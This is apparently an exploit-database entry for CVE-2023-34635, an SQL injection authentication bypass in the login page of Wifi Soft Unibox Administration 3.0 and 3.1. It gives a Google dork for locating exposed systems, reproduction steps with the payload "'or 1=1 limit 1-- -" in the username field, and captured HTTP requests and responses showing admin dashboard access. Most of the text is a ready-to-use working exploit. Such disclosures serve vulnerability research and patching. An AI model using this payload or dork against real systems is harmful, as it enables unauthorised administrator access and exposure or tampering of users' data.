98cdb05106
10 changes to exploits/shellcodes/ghdb Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE. RWS WorldServer 11.7.3 - Session Token Enumeration Aures Booking & POS Terminal - Local Privilege Escalation Boom CMS v8.0.7 - Cross Site Scripting PaulPrinting CMS - Multiple Cross Site Web Vulnerabilities pfSense v2.7.0 - OS Command Injection Webile v1.0.1 - Multiple Cross Site Scripting Wifi Soft Unibox Administration 3.0 & 3.1 - SQL Injection RaidenFTPD 2.4.4005 - Buffer Overflow (SEH)
111 lines
No EOL
4.9 KiB
Text
111 lines
No EOL
4.9 KiB
Text
# Exploit Title: Wifi Soft Unibox Administration 3.0 & 3.1 Login Page - Sql Injection
|
|
# Google Dork: intext:"Unibox Administration 3.1", intext:"Unibox 3.0"
|
|
# Date: 07/2023
|
|
# Exploit Author: Ansh Jain @sudoark
|
|
# Author Contact : arkinux01@gmail.com
|
|
# Vendor Homepage: https://www.wifi-soft.com/
|
|
# Software Link:
|
|
https://www.wifi-soft.com/products/unibox-hotspot-controller.php
|
|
# Version: Unibox Administration 3.0 & 3.1
|
|
# Tested on: Microsoft Windows 11
|
|
# CVE : CVE-2023-34635
|
|
# CVE URL : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34635
|
|
|
|
The Wifi Soft Unibox Administration 3.0 and 3.1 Login Page is vulnerable to
|
|
SQL Injection, which can lead to unauthorised admin access for attackers.
|
|
The vulnerability occurs because of not validating or sanitising the user
|
|
input in the username field of the login page and directly sending the
|
|
input to the backend server and database.
|
|
|
|
## How to Reproduce
|
|
Step 1 : Visit the login page and check the version, whether it is 3.0,
|
|
3.1, or not.
|
|
Step 2 : Add this payload " 'or 1=1 limit 1-- - " to the username field and
|
|
enter any random password.
|
|
Step 3 : Fill in the captcha and hit login. After hitting login, you have
|
|
been successfully logged in as an administrator and can see anyone's user
|
|
data, modify data, revoke access, etc.
|
|
|
|
|
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
### Login Request
|
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
|
|
-----------------------------------------------------------------------------------------------------------------------
|
|
Parameters: username, password, captcha, action
|
|
-----------------------------------------------------------------------------------------------------------------------
|
|
|
|
POST /index.php HTTP/2
|
|
Host: 255.255.255.255.host.com
|
|
Cookie: PHPSESSID=rfds9jjjbu7jorb9kgjsko858d
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
|
|
Firefox/102.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 83
|
|
Origin: https://255.255.255.255.host.com
|
|
Referer: https://255.255.255.255.host.com/index.php
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-Fetch-Dest: document
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-User: ?1
|
|
Te: trailers
|
|
|
|
username='or+1=1+limit+1--+-&password=randompassword&captcha=69199&action=Login
|
|
|
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
### Login Response
|
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
|
|
HTTP/2 302 Found
|
|
Server: nginx
|
|
Date: Tue, 18 Jul 2023 13:32:14 GMT
|
|
Content-Type: text/html; charset=UTF-8
|
|
Location: ./dashboard/dashboard
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
|
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
### Successful Loggedin Request
|
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
|
|
GET /dashboard/dashboard HTTP/2
|
|
Host: 255.255.255.255.host.com
|
|
Cookie: PHPSESSID=rfds9jjjbu7jorb9kgjsko858d
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
|
|
Firefox/102.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: https://255.255.255.255.host.com/index.php
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-Fetch-Dest: document
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-User: ?1
|
|
Te: trailers
|
|
|
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
### Successful Loggedin Response
|
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
|
|
HTTP/2 200 OK
|
|
Server: nginx
|
|
Date: Tue, 18 Jul 2023 13:32:43 GMT
|
|
Content-Type: text/html; charset=UTF-8
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
Cache_control: private
|
|
|
|
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
html content
|
|
</html> |